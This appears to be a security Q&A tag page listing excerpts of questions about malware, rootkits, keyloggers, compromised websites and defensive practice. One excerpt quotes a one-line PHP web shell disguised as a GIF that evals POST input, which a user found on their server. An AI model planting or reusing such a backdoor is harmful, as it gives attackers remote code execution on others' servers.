Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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Hooking an *unexported* API

I want to know is there any way to hook (inline hook) an unexported API of a PE? I have this binary (PE 32 bit) which does not uses any DLL (A statically linked binary) and I would like to know what ...
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Is it possible for malware to be in the BIOS or in hardware?

Is it possible for malware to be written in the BIOS section and loaded on every fresh Windows Install? If it is possible, can this affect Linux (Ubuntu and others) operating systems as well?
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Does malware which infects the BIOS/ Firmware always need 'root' access to do so?

There are very few hardened Operating Systems who restrict or totally disable Terminal 'root' access for the user. Would this feature prevent persistent BIOS rootkits from writing into BIOS or ...
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opening random extensions with notepad

I get files with random extensions sometimes in order to bypass corporate firewalls. Usually I would just ask the other party what it is that I just received. Other times I get curious and open the ...
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Windows: Any method to enforce user confirmation before the browser opens a URL requested by an external desktop app?

A robust outgoing firewall will protect against desktop applications directly connecting to the internet without your permission. However, as the browser is a generally authorized application for ...
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“WICKED” entries in the default nginx vhost's logs

I have a small VPS running nginx, and for a long time now (several months, since I rented it) it has been collecting weird entries in its default (listen 80 default;) vhost's logs: 109.x.x.121 - - ...
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Can web application do anything to prevent risk from client-side malware?

Client side malware (keyloggers, screenscrapers etc.) is a great risk. It can't be effectively stopped from side of ordinary application. Only users themselves can do some measures to prevent risk ...
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Find malware in browser extensions

How can I check if an extension/addon consist of malware code? Is it easy to detect if it collects sensitive data (like spyware), logging keystrokes and so on? Can AV recognize malware extension as ...
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Recover file using Java RanNum Gen + Key

EDIT: Here is some more background. I am basically trying to reproduce this the method outlined here I have been able to hit everything up until the paragraph regarding the decrypting of the data file ...
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Secure online server -> Airgap transport?

I'm facing the issue to develop a system which archives some data, which was available via a web-server some time before (to selected users). Now the question arises on how to securely transport the ...
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Any reason for a user to use an email scanner if they don't use any offline mail clients?

I typically recommend that users enable a real-time email scanner (aka a mail shield) in order to detect a possible vector used by malware. Even if they don't use an email application, the rationale ...
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Rogue WPAD server attack

Today I encountered something I have certainly not seen before first hand. Our IDS blocked some outbound traffic attempts from 5 servers with no WAN access. This traffic was leading to an inactive ...
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malware attack on my website may have started a SOCKS server - please advise [duplicate]

A website I do some volunteer work for was recently one of those affected by a wordpress plugin vulnerability. Following advice in the answer to this question, which contains details of the attack, ...
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Remove pdf malware by re-printing to new pdf or text extract?

Consider you have a suspicious pdf file that might contain malware. Would it be sufficient to either: (1) open the pdf file in a virtual environment and let the pdf viewer or pdf-creator program ...
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Dos Attack and other malwares!

I have been experiencing DoS attacks: ack scan and rst scan. Now I know these are supposed to be normal and the internet works that way but I experience severe internet disconnection when that ...
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What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
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Is it dangerous to have the built-in Administrator account enabled?

I've seen it said that when using the built-in Windows Administrator account, the best practice is to enable it (net user administrator /active:yes), use it, and then disable it. I do realize it's a ...
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Odd requests from Apache logs

I've been monitoring some weird activity in the access logs for my site and I've noticed a couple of weird attempts against the server. I'm wondering if anyone has seen these before. It's an Apache ...
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Steps after getting hit with malware or browser exploits on Xubuntu

Well, today I was browsing the internet and I suddenly got redirected to a chinese hosted malware site and firefox started going crazy. I checked the url on virustotal with my phone and it found other ...
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Enabling virutalization, addressing the bluepill risk?

Background to this question is the ambivalence I assume with virtualization. Also to start directly with clarity: the term bluepill should here be a placeholder to denote "malware that uses ...
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How will microvirtualisation change the security field, if at all?

Will this reduce the number of exploitable vulnerabilities in common operating systems? Will the only path in be to exploit the VM itself? Marketing blurb from Bromium's website below. ... ...
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Should I trust URL based on file extension like this: http://example.com/image.jpg

I created a slideshow and mentioned that user must not trust URL based on file extension, however, I got some claims against that, because URL's like this should be safe: ...
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What is the ultimate goal of hacking a webserver? [closed]

Recently I noticed a lot of traffic generated by automated bots that were checking for vulnerabilities in my web server. They were mainly looking for ways to hack into plesk/wordpress which I don't ...
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What anti-keylogging programs can you use when using a public PCs

Are there anti-keylogging programs that can keep you safe while you are using a public PC terminal? Do they exist and what are these? I like to know that I am safe when entering data on a public PC ...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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Is this a valid Windows update page

In my chrome browser if I google for Windows Update the first hit is windowsupdate.microsoft.com/‎ When I click on it I am redirected to ...
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My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
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How to test for presense of antivirus?

I want to test that when user uploads file, then it goes through up-to-date and properly configured antivirus. I think that to test for it I need some malware that is likely to be detected (it doesn't ...
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Can visiting a malicious website infect an iOS or Android device?

Can visiting a malicious website infect an iOS or Android device? We're talking about visiting such sites via a browser. We're not talking about downloading any malicious apps. Thanks!
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How would a keylogger bypass Wireshark sniffing?

I often see malicious keyloggers being advertised as having anit-wireshark feature. Meaning their data can't be sniffed. Is it possible to do so? How would they do it? My guess is that they just ...
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Security Practices by Employees in a Corporate Environment

Consider the following situation : 1. Somehow my boss's system got infected with a malware ( He visited one of the Java exploits website). 2. He sends a PDF document containing the requirement ...
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How hard it would be to infect a system with malware through a portable web browser

If I use a portable web browser on a USB device like Google Chrome Portable how hard it would be to get infected by a malware/virus in the system to which the USB device is connected? Google Chrome ...
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Why does Google Safe Browsing keep detecting malware on my website?

We provide a freemium service to upload large files and download them later on. Using ClamAV, we scan every file for viruses after it is uploaded and before it can be downloaded. The file is deleted ...
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Google DNS in Firewall logs

I was viewing my firewall logs and come across the IP 8.8.8.8. Further check reveals it belongs to Google DNS. And such traffic has been going out from some of our LAN segment PCs. From here on, how ...
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Antivirus settings: delete or quarantine the file?

I understand that most antiviruses by default quarantine infected files. I have changed it to remove all infected files immediately. Would this cause more harm than good?
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How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
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Trust linux images burned from untrusted systems

For securitys sake I'm assuming my system is successfully compromised after a targeted and/or non-targeted attack. I've downloaded some linux images and burned them to do a re-install. Since I can't ...
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What do I do, I got a virus warning on a webpage

I went to the web address (hxxp://www.asanka.com) (WARNING: BE CAREFUL WHEN VISITING) on Safari, then suddenly I got a warning message [image below] What do I do? I'm freaked out. I have a lot of ...
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Prevent a file from being encrypted

Is it possible to prevent a file from being encrypted, or at least being easily decrypted in case of encryption? For instance; with the Crypto Locker malware attacking users, could you set up a ...
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How are 1x1 pixel images used in a malicious context?

I have been analyzing malware and I am seeing many 1x1 png and gif files. What could these be used for?
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How Browsers prevents Malware and Phishing attacks

I want to know how phishing and malware protection features are implemented in modern browsers like Chrome, Firefox, IE etc. Are these features heuristic based, or do browsers maintain a list of ...
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How does Remote Access Trojan / Backdoor Software work?

How does the RAT works? I understand it as once we surf the infected website, browser might download the trojan to our PC automatically. Will it executed and auto install in our computer? I can't ...
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What's with the Facebook malware which posts obscene posts in all the groups? [closed]

How to get rid of the Facebook malware which sends pornographic posts in all the groups you belong to? I always made fun of people who became victim of this malware/virus saying they are not cautious ...
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Domain Name Thefts

Due to past experiences, I have learned that when I'm contemplating purchasing a suitable domain name, I should NOT do so by searching on the websites of domain registrars (GoDaddy, name.com, etc.). ...
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Is loopback interface protected from sniffing?

I'm trying to understand what are the risks derived from unprotected communications within the same device, by the use of the loopback interface. I've verified it is possible to capture packets, with ...
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How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
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Malware not showing up in virus scan

I have some malware on my computer at work that I'm having a hard time getting rid of. I'm only interning there over the summer, so I'm guessing that it was downloaded by the previous user because I ...
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Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
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Detecting malware hidden in P2P traffic

Consider a network situation involving (only) Peer to Peer traffic in medium sized network. For the sake of convenience, a simple P2P application like DC++ may be assumed, although I am aiming at a ...
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malware classification based on action [closed]

Where can I get info with a view to classify malware based on actions performed by the them. Eg. modifying registry files, copying themselves into other executable's etc.